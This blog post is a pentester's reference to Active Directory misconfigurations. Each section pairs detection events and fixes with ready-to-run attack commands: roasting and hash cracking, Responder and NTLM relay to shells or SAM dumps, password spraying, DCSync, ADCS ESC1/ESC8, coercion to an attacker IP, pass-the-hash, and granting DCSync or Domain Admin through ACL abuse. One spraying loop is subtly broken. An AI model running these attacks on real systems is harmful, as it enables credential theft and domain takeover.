Common Active Directory Misconfigurations and Where to Find Them

Common Active Directory Misconfigurations and Where to Find Them

Sebin Thomas
  2025-12-26 12:30 2025-12-26 12:30 Created   2026-06-06 14:35:49 2026-06-06 14:35:49 Updated    3.5k Words  22 Mins

“You don’t need a zero-day. You just need to look harder.”

Every time I drop into an internal network during a pentest or a red team engagement, the story is always the same - the domain is a goldmine. No exotic exploits, no custom implants, just misconfigured AD doing all the heavy lifting.

This post is a practical, no-fluff reference for the most common Active Directory low-hanging fruit. I’ve seen every single one of these in real BFSI environments. If you’re prepping for an internal pentest - this is for you.

Setup: Recon First

Before swinging any tool, get your bearings.

1
2
3
4
5
6
7
8
9
# Enumerate domain info from Linux
nxc smb <DC-IP> -u '' -p ''                        # null session check
nxc smb <DC-IP> -u 'guest' -p ''                   # guest account check
enum4linux-ng -A <DC-IP>

# From a domain-joined Windows box
net user /domain
net group "Domain Admins" /domain
systeminfo | findstr /B /C:"Domain"

1. Kerberoasting

What it is: Request a TGS ticket for any service account that has an SPN set. The ticket is encrypted with the service account’s NTLM hash - crack it offline.

How common: Extremely. Every environment with SQL servers, IIS services, or old Java apps has orphaned SPNs on user accounts with weak passwords.

Find it:

1
2
3
4
5
6
7
8
9
10
11
# Linux
impacket-GetUserSPNs domain.local/user:password -dc-ip <DC-IP> -request

# NetExec
nxc ldap <DC-IP> -u user -p password --kerberoasting output.txt

# Windows (PowerView)
Get-NetUser -SPN | select samaccountname, serviceprincipalname

# Rubeus
.\Rubeus.exe kerberoast /outfile:hashes.txt

Crack it:

1
hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt --force

Detection: Event ID 4769 - RC4 ticket requests for service accounts. Look for Ticket Encryption Type: 0x17 (RC4) on AES-capable DCs.

Fix: Managed Service Accounts (gMSA), 128-char random passwords, AES-only encryption.

2. AS-REP Roasting

What it is: Users with Do not require Kerberos preauthentication enabled send their AS-REP encrypted with their password hash - no credentials needed to request it.

How common: Less than Kerberoasting, but still shows up in ~30% of engagements. Usually set accidentally by sysadmins who don’t know what it does.

Find it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# Linux (no creds needed!)
impacket-GetNPUsers domain.local/ -usersfile users.txt -dc-ip <DC-IP> -no-pass

# With valid creds
impacket-GetNPUsers domain.local/user:password -dc-ip <DC-IP> -request

# NetExec
nxc ldap <DC-IP> -u user -p password --asreproast output.txt

# PowerView
Get-DomainUser -PreauthNotRequired -Properties distinguishedname

# Native AD (RSAT)
Get-ADUser -Filter 'useraccountcontrol -band 4194304' -Properties useraccountcontrol

Crack it:

1
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt

Detection: Event ID 4768 without prior 4771 (failed pre-auth). Unauthenticated AS-REQ from non-DC hosts is a red flag.

Fix: Enable Kerberos pre-auth on all user accounts. No exceptions.

3. LLMNR / NBT-NS Poisoning

What it is: Windows machines broadcast LLMNR/NBT-NS queries when DNS fails. Respond to those broadcasts, collect NTLMv2 hashes. Classic.

How common: Absurdly common. Still present in the majority of enterprise networks as of 2025 because disabling it requires GPO changes that admins forget about.

Exploit it:

1
2
3
4
5
6
# Responder (the OG)
sudo responder -I eth0 -wrf

# Collected hashes appear in /usr/share/responder/logs/
# Crack with:
hashcat -m 5600 ntlmv2_hashes.txt /usr/share/wordlists/rockyou.txt

If the hash doesn’t crack, relay it:

1
2
3
4
5
# Step 1: Disable SMB and HTTP in Responder.conf
sudo responder -I eth0 -wd

# Step 2: Relay with ntlmrelayx
impacket-ntlmrelayx -tf targets.txt -smb2support -i

Detection: Unusual LLMNR/mDNS traffic, Event ID 5156 for unexpected connections from non-DC IPs.

Fix: Disable LLMNR via GPO (Computer Config → Admin Templates → Network → DNS Client → Turn off multicast name resolution). Disable NBT-NS via DHCP options or network adapter settings.

4. Password Spraying

What it is: Try one or a few common passwords against a large list of users. Avoids lockouts. Single most reliable way to get that first foothold.

How common: The first thing I try on every engagement. Success rate is frighteningly high - especially in Indian enterprises running legacy AD with no lockout policy.

Find the lockout policy first:

1
2
3
nxc smb <DC-IP> -u '' -p '' --pass-pol
# or
Get-ADDefaultDomainPasswordPolicy

Spray:

1
2
3
4
5
6
7
8
9
10
# NetExec (modern standard)
nxc smb <DC-IP> -u users.txt -p 'Company@2026' --continue-on-success | grep '[+]'

# Kerbrute (quieter, Kerberos-based)
kerbrute passwordspray -d domain.local --dc <DC-IP> users.txt 'Company@2026'

# Linux with impacket
for pass in 'Password1' 'Company@123' 'Welcome1'; do
  impacket-GetNPUsers domain.local/ -usersfile users.txt -dc-ip <DC-IP>
done

Good spray candidates: Company@123, Welcome1, P@ssw0rd, Company@Month+Year.

During several Active Directory penetration tests, I successfully compromised multiple user accounts by leveraging weak password patterns based on the company name, month, year, and common permutations of the organization’s name.

Don't spray all passwords together, use a single password and try on all users.

Detection: A spike in Event ID 4625 (failed logon) or 4771 (Kerberos pre-authentication failure) originating from a single source across multiple accounts may indicate password spraying activity.

Fix: Strong password policy, lockout after 5 attempts, MFA on VPN/RDP access, Azure AD Password Protection for on-prem.

5. Password in Description / SYSVOL / Shares

What it is: Sysadmins leaving cleartext credentials in AD user description fields, SYSVOL (via old GPP), or on accessible file shares.

How common: I personally never found passwords in description fields, but still worth to check.

Find it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# Passwords in AD user description fields
nxc ldap <DC-IP> -u user -p password -M get-desc-users

# PowerView
Get-DomainUser | Where-Object {$_.description -ne $null} | select samaccountname, description

# GPP passwords (cpassword in SYSVOL) - old but still found
impacket-Get-GPPPassword domain.local/user:password@<DC-IP>
Get-GPPPassword  # PowerSploit module

# Snaffler - finds creds in shares automatically
.\Snaffler.exe -s -o snaffler_out.txt

# NetExec spider shares
nxc smb <DC-IP> -u user -p password --spider C$ --pattern "password|passwd|cred|secret"

Detection: Audit AD user attributes for sensitive keywords, DLP on file share access.

Fix: Audit description fields quarterly. Microsoft patched GPP passwords in MS14-025, but SYSVOL copies still exist in old environments. Snaffler findings = immediate triage.

6. Unconstrained Delegation

What it is: Computers/services with unconstrained delegation store TGTs of every user that authenticates to them. If you compromise that box, you get everyone’s TGT - including Domain Admins.

How common: Very common in older environments. Every IIS server, SQL server, or SharePoint box from 10 years ago likely has it.

Find it:

1
2
3
4
5
6
7
8
# PowerView
Get-DomainComputer -Unconstrained | select dnshostname

# NetExec
nxc ldap <DC-IP> -u user -p password --trusted-for-delegation

# BloodHound
# Query: MATCH (c:Computer {unconstraineddelegation:true}) RETURN c

Exploit (requires local admin on the target machine):

1
2
3
4
5
6
7
8
# Wait/coerce a DA to connect, then dump TGTs with Rubeus
.\Rubeus.exe monitor /interval:5 /filteruser:DC$

# Force authentication from DC using PrinterBug / PetitPotam
.\SpoolSample.exe <DC-IP> <UNCONSTRAINED-BOX-IP>

# Then pass the TGT
.\Rubeus.exe ptt /ticket:<base64_ticket>

Detection: Event ID 4768 TGT requests from unexpected service accounts, unusual machine account authentications.

Fix: Move to Constrained or Resource-Based Constrained Delegation. Add sensitive accounts to Protected Users group.

7. Constrained Delegation Abuse

What it is: Accounts configured for constrained delegation can request service tickets on behalf of any user for the allowed services. If you control that account, you can impersonate Domain Admins.

How common: Common. Typically found on service accounts for SQL, Exchange, or web application pools.

Find it:

1
2
3
4
5
6
# PowerView
Get-DomainUser -TrustedToAuth | select samaccountname, msds-allowedtodelegateto
Get-DomainComputer -TrustedToAuth | select dnshostname, msds-allowedtodelegateto

# BloodHound
# Query: MATCH (u)-[:AllowedToDelegate]->(c) RETURN u, c

Exploit:

1
2
3
4
5
6
# With account creds/hash that has delegation set
# Linux
impacket-getST domain.local/svc_account -hashes :NTLM_HASH -spn cifs/dc.domain.local -impersonate Administrator -dc-ip <DC-IP>

# Windows - Rubeus S4U attack
.\Rubeus.exe s4u /user:svc_account /rc4:<NTLM> /impersonateuser:Administrator /msdsspn:cifs/dc.domain.local /ptt

Detection: Event ID 4769 with unusual impersonation, S4U2Proxy ticket requests from unexpected hosts.

Fix: Limit constrained delegation to minimum required SPNs. Prefer RBCD. Mark sensitive accounts as “Account is sensitive and cannot be delegated.”

8. DCSync

What it is: Replicate the entire NTDS.dit from the DC using legitimate replication rights (DS-Replication-Get-Changes-All). Get every domain hash without touching LSASS.

How common: This is the end-game, not a starting point. But the rights are misconfigured more often than you’d think - Exchange Server setups and some AD migration tools grant these by default.

Find accounts with replication rights:

1
2
3
4
5
6
# PowerView
Get-ObjectAcl -DistinguishedName "DC=domain,DC=local" -ResolveGUIDs | 
  Where-Object {$_.ObjectAceType -match "DS-Replication"}

# BloodHound - look for DCSync edges
# Query: MATCH p=()-[:DCSync]->() RETURN p

Exploit:

1
2
3
4
5
6
7
# Linux
impacket-secretsdump domain.local/user:password@<DC-IP>
impacket-secretsdump -hashes :NTLM_HASH domain.local/user@<DC-IP>

# Windows - Mimikatz
lsadump::dcsync /domain:domain.local /user:krbtgt
lsadump::dcsync /domain:domain.local /all /csv

Detection: Event ID 4662 with property {1131f6aa-9c07-11d1-f79f-00c04fc2dcd2} from non-DC IPs. Massive spike = DCSync.

Fix: Audit ACLs on domain root object. Remove unauthorized accounts with replication rights. Alert on 4662 from non-DC machines.

9. ADCS Abuse (ESC1 & ESC8)

What it is: Active Directory Certificate Services is practically “privilege escalation as a service.” ESC1 lets a low-priv user request a cert as any user (including DA). ESC8 relays NTLM to the CA’s web enrollment endpoint.

How common: If your domain runs ADCS, you almost certainly have at least one misconfiguration. I’ve hit ESC1 on literally every BFSI environment that had ADCS deployed.

Find it:

1
2
3
4
5
# Certipy - enumerate and find vulnerable templates
certipy find -u user@domain.local -p 'Password' -dc-ip <DC-IP> -vulnerable -stdout

# BloodHound output
certipy find -u user@domain.local -p 'Password' -dc-ip <DC-IP> -bloodhound

ESC1 - Request cert as DA:

1
2
3
4
5
6
7
8
certipy req -u user@domain.local -p 'Password' \
  -ca 'CORP-CA' \
  -template VulnerableTemplate \
  -upn administrator@domain.local \
  -dc-ip <DC-IP>

# Auth with the cert → get NT hash
certipy auth -pfx administrator.pfx -dc-ip <DC-IP>

ESC8 - NTLM Relay to CA Web Enrollment:

1
2
3
4
5
# Setup relay
certipy relay -ca <CA-IP> -template DomainController

# Coerce DC authentication (PetitPotam / PrinterBug)
impacket-PetitPotam <ATTACKER-IP> <DC-IP>

Detection: Unusual certificate requests in CA logs, Event ID 4886 / 4887, certificates issued for admin accounts by non-admin users.

Fix: Fixing ESC1 by modifying template settings takes minutes. Fixing ESC8 by enabling EPA and requiring HTTPS takes a few hours of IIS configuration. Run Certipy quarterly.

10. BloodHound Attack Paths (ACL Abuse)

What it is: Misconfigured ACLs give low-priv accounts GenericAll, GenericWrite, WriteDACL, or ForceChangePassword over privileged objects. Chain them together for a path to DA.

How common: BloodHound is perfect for this - you can find out quickly if your user has indirect control of another object. Almost every domain has at least one interesting ACL chain.

Collect & analyze:

1
2
3
4
5
6
7
8
9
10
# Linux collection
bloodhound-python -u user -p password -d domain.local -dc <DC-IP> -c All --zip

# Windows collection
.\SharpHound.exe -c All --zipfilename bh_data.zip

# Upload to BloodHound, then run:
# "Shortest Path to Domain Admins"
# "Find Principals with DCSync Rights"
# "Find Computers with Unconstrained Delegation"

11. LAPS Not Deployed (Reused Local Admin Passwords)

What it is: If LAPS (Local Administrator Password Solution) isn’t deployed, every machine in the domain likely has the same local Administrator password set via GPO or imaging. Compromise one → compromise all.

How common: Extremely. Especially in environments with 5+ year old AD setups. LAPS is free and Microsoft ships it natively since Server 2022, but adoption is still low.

Check for LAPS deployment:

1
2
3
4
5
6
7
8
# Check if LAPS attribute exists in AD schema
Get-ADObject "CN=ms-Mcs-AdmPwd,CN=Schema,CN=Configuration,DC=domain,DC=local"

# NetExec - check which machines have/don't have LAPS
nxc ldap <DC-IP> -u user -p password --module laps

# Check if current user can READ LAPS passwords (misconfigured ACLs)
nxc ldap <DC-IP> -u user -p password -M laps

If LAPS IS deployed but ACLs are wrong:

1
2
3
4
5
6
7
# Find who can read LAPS passwords
Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs | 
  Where-Object {$_.ObjectAceType -like "ms-Mcs-AdmPwd"}

# PowerView - read LAPS passwords if you have rights
Get-DomainComputer -Properties ms-Mcs-AdmPwd, dnshostname | 
  Where-Object {$_."ms-mcs-admpwd" -ne $null}

If LAPS isn’t deployed, test reused local admin password:

1
2
3
# Spray the local admin hash or password laterally
nxc smb targets.txt -u Administrator -p 'FoundPassword' --local-auth
nxc smb targets.txt -u Administrator -H <NTLM_HASH> --local-auth

Detection: Lateral movement with the same local admin creds across multiple machines, Event ID 4624 logon type 3 from unexpected source IPs.

Fix: Deploy LAPS or Windows LAPS (native since 2023). Restrict who can read the ms-Mcs-AdmPwd attribute via ACLs.

12. NTLM Relay (SMB Signing Disabled)

What it is: If SMB signing isn’t enforced, you can relay captured NTLM authentication to other machines — no cracking needed. Captured hash from machine A → authenticate as that user on machine B.

How common: Still present in ~60–70% of enterprise environments. Windows Server 2025 made SMB signing default, but Server 2016/2019 (the majority of production) still requires manual config.

Check SMB signing:

1
2
3
4
5
6
# NetExec - scan the whole subnet
nxc smb <SUBNET>/24 --gen-relay-list relay_targets.txt

# Manually check
nxc smb <TARGET-IP> -u '' -p ''
# Look for: signing:False

Relay attack:

1
2
3
4
5
6
7
8
9
10
11
# Terminal 1: Responder (SMB/HTTP off, just poison)
sudo responder -I eth0 -wd

# Terminal 2: ntlmrelayx
impacket-ntlmrelayx -tf relay_targets.txt -smb2support

# For interactive shell:
impacket-ntlmrelayx -tf relay_targets.txt -smb2support -i

# Relay and dump SAM:
impacket-ntlmrelayx -tf relay_targets.txt -smb2support --sam

Coerce authentication (no waiting):

1
2
3
# Force any machine to auth to you
impacket-PetitPotam <ATTACKER-IP> <TARGET-IP>
.\SpoolSample.exe <TARGET-IP> <ATTACKER-IP>

Detection: Event ID 4624 (Type 3 logon) from unexpected source, 4625 failures during relay attempts.

Fix: Enforce SMB signing via GPO: Computer Configuration → Policies → Windows Settings → Security Settings → Local Policies → Security Options → Microsoft network client: Digitally sign communications (always): Enabled

13. Pass-the-Hash (PTH)

What it is: Use a captured NTLM hash directly for authentication - no need to crack it. Works with local admin hashes, domain user hashes, machine account hashes.

How common: If you can dump any hash (LSASS, SAM, NTDS), PTH is your immediate next move. Standard in every engagement.

Dump hashes first:

1
2
3
4
5
6
7
8
# LSASS dump (requires local admin)
.\Mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit

# SAM dump via registry
impacket-secretsdump -sam SAM -system SYSTEM LOCAL

# Remote SAM dump
impacket-secretsdump domain/user:password@<TARGET-IP>

Use the hash:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# NetExec
nxc smb <TARGET-IP> -u Administrator -H <NTLM_HASH>
nxc smb <SUBNET>/24 -u Administrator -H <NTLM_HASH> --local-auth  # spray

# Impacket suite
impacket-psexec domain/user@<TARGET-IP> -hashes :NTLM_HASH
impacket-wmiexec domain/user@<TARGET-IP> -hashes :NTLM_HASH
impacket-smbexec domain/user@<TARGET-IP> -hashes :NTLM_HASH

# Evil-WinRM (for WinRM targets)
evil-winrm -i <TARGET-IP> -u Administrator -H <NTLM_HASH>

# RDP with restricted admin mode
xfreerdp /u:Administrator /pth:<NTLM_HASH> /v:<TARGET-IP>

Detection: Event ID 4624 logon type 3 (network logon) with NTLM authentication from unexpected sources. NTLMv1 usage is a red flag.

Fix: Enable Windows Defender Credential Guard, Protected Users group, disable NTLMv1, enable SMB signing. Long term: move to Kerberos-only auth where possible.

14. GenericAll / WriteDACL over Domain Object

What it is: Some accounts get WriteDACL or GenericAll over the entire domain object - usually from Exchange setup, AD migration tools, or misconfigured OUs. This means you can grant yourself any right, including DCSync.

How common: Exchange installs historically granted broad AD rights. Environments that ran Exchange 2010/2013 almost certainly have this. Also shows up after AD migration projects.

Find it:

1
2
3
4
5
6
# PowerView
Get-ObjectAcl -DistinguishedName "DC=domain,DC=local" -ResolveGUIDs | 
  Where-Object {$_.ActiveDirectoryRights -match "WriteDacl|GenericAll"} |
  Select IdentityReference, ActiveDirectoryRights

# BloodHound - look for WriteDACL edges to the domain node

Exploit — grant yourself DCSync:

1
2
3
4
5
6
7
# PowerView
Add-DomainObjectAcl -TargetIdentity "DC=domain,DC=local" \
  -PrincipalIdentity youruser \
  -Rights DCSync -Verbose

# Then DCSync
impacket-secretsdump domain/youruser:password@<DC-IP>

Detection: Event ID 5136 - attribute modification on the domain object. 4662 with replication rights.

Fix: Audit and remove Exchange/migration tool permissions post-deployment. Microsoft has specific guidance for removing Exchange’s over-privileged AD ACLs.

15. Print Spooler / WebDAV Coercion (Authentication Forcing)

What it is: Force any Windows machine (including DCs) to authenticate back to you using protocol-level coercion bugs. Combine with relay attacks or unconstrained delegation to collect TGTs.

How common: Print Spooler is still enabled on DCs in many environments. WebDAV is common on workstations. These are force multipliers for relay attacks.

Check if Print Spooler is running:

1
2
3
4
5
# Check remotely
nxc smb <DC-IP> -u user -p password -M spooler

# Or manually
sc \\<DC-IP> query spooler

Coerce authentication:

1
2
3
4
5
6
7
8
9
10
# PrinterBug / SpoolSample
.\SpoolSample.exe <TARGET-IP> <ATTACKER-IP>
python printerbug.py domain/user:password@<TARGET-IP> <ATTACKER-IP>

# PetitPotam (no auth needed in unpatched versions)
python PetitPotam.py <ATTACKER-IP> <TARGET-IP>

# Coercer (all-in-one coercion tool)
coercer coerce -u user -p password -d domain.local \
  --listener-ip <ATTACKER-IP> --target-ip <TARGET-IP>

Chain with relay or unconstrained delegation:

1
2
3
# Coerce DC → relay to ADCS (ESC8)
certipy relay -ca <CA-IP> -template DomainController
python PetitPotam.py <ATTACKER-IP> <DC-IP>

Detection: Unusual outbound connections from DCs to workstations/attacker IPs, Event ID 4648 (explicit credential logon), 3 in RPC logs.

Fix: Disable Print Spooler on all DCs (Stop-Service spooler; Set-Service spooler -StartupType Disabled). Install MS-EFSRPC patch (KB5005413). Disable WebDAV where not needed.

16. LDAP Null / Anonymous Bind

What it is: Some DCs are still configured to allow unauthenticated LDAP queries - meaning you can enumerate users, groups, OUs, and policies without any credentials.

How common: Less common in modern setups but still present in orgs that haven’t hardened their DC configs. I find it in ~20% of BFSI engagements.

Test it:

1
2
3
4
5
6
7
8
9
10
11
# Test null bind
ldapsearch -x -h <DC-IP> -b "DC=domain,DC=local"

# NetExec
nxc ldap <DC-IP> -u '' -p ''

# enum4linux-ng
enum4linux-ng -A <DC-IP>

# ldapdomaindump with null creds
ldapdomaindump -u '' -p '' <DC-IP>

Detection: Event ID 2889 on DCs (unsigned LDAP bind). Enable LDAP diagnostic logging.

Fix: Set LDAPServerIntegrity = 2 (Require Signing) via GPO. Disable anonymous LDAP access. Require LDAP channel binding (KB4520412).

Common ACL exploits:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# GenericAll over a user → force password reset
net user targetuser NewPassword123! /domain

# GenericAll over a group → add yourself
net group "Domain Admins" currentuser /add /domain

# GenericWrite over a user → set SPN and Kerberoast
Set-DomainObject -Identity targetuser -Set @{serviceprincipalname='fake/spn'}
.\Rubeus.exe kerberoast /user:targetuser /outfile:hash.txt

# WriteDACL → grant yourself DCSync
Add-DomainObjectAcl -TargetIdentity "DC=domain,DC=local" \
  -PrincipalIdentity currentuser \
  -Rights DCSync

Detection: Event IDs 5136 (DS object modified), 4728 (group membership change). Any modification to DA group should page someone immediately.

Fix: Audit ACLs with BloodHound regularly. Implement least-privilege AD tiering model. Enable audit on critical group changes.

Quick Reference Toolkit

ToolUse Case
BloodHound + SharpHound/bloodhound-pythonAttack path mapping
CertipyADCS enumeration & exploitation
RubeusKerberos attacks (roasting, tickets, delegation)
NetExec (nxc)Swiss-army knife for SMB/LDAP/Kerberos
Impacket suiteRemote execution, secretsdump, relay attacks
ResponderLLMNR/NBT-NS poisoning & hash capture
PowerViewAD enumeration from Windows
SnafflerCredential hunting in shares
KerbruteUser enumeration & password spraying
PingCastleQuick AD health scoring

Closing Thoughts

  • The scary thing about AD misconfigurations is that they are not vulnerabilities in the traditional sense - they are legitimate features that were configured insecurely over time. Many enterprise domains have been running for 10+ years without a proper security review, allowing SPNs, delegations, ACLs, and certificate templates to accumulate unnoticed.

  • In many cases, you do not need a single CVE to compromise the environment. Patience, proper enumeration, and understanding how Active Directory works are often enough.

  • Run these checks during every internal engagement. You will rarely leave empty-handed.

  • The tools mentioned above are commonly detected by AV/EDR solutions and are referenced here strictly from an Active Directory penetration testing perspective, not for red teaming or evasion-focused operations.

  • Title: Common Active Directory Misconfigurations and Where to Find Them
  • Author: Sebin Thomas
  • Created at : 2025-12-26 12:30:00
  • Updated at : 2026-06-06 14:35:49
  • Link: https://0xsebin-blogs.vercel.app/2025/12/26/Active-Directory-PT1/
  • License: All Rights Reserved © Sebin Thomas
On this page
Common Active Directory Misconfigurations and Where to Find Them
  1. Setup: Recon First
  2. 1. Kerberoasting
  3. 2. AS-REP Roasting
  4. 3. LLMNR / NBT-NS Poisoning
  5. 4. Password Spraying
  6. 5. Password in Description / SYSVOL / Shares
  7. 6. Unconstrained Delegation
  8. 7. Constrained Delegation Abuse
  9. 8. DCSync
  10. 9. ADCS Abuse (ESC1 & ESC8)
  11. 10. BloodHound Attack Paths (ACL Abuse)
  12. 11. LAPS Not Deployed (Reused Local Admin Passwords)
  13. 12. NTLM Relay (SMB Signing Disabled)
  14. 13. Pass-the-Hash (PTH)
  15. 14. GenericAll / WriteDACL over Domain Object
  16. 15. Print Spooler / WebDAV Coercion (Authentication Forcing)
  17. 16. LDAP Null / Anonymous Bind
  18. Quick Reference Toolkit
  19. Closing Thoughts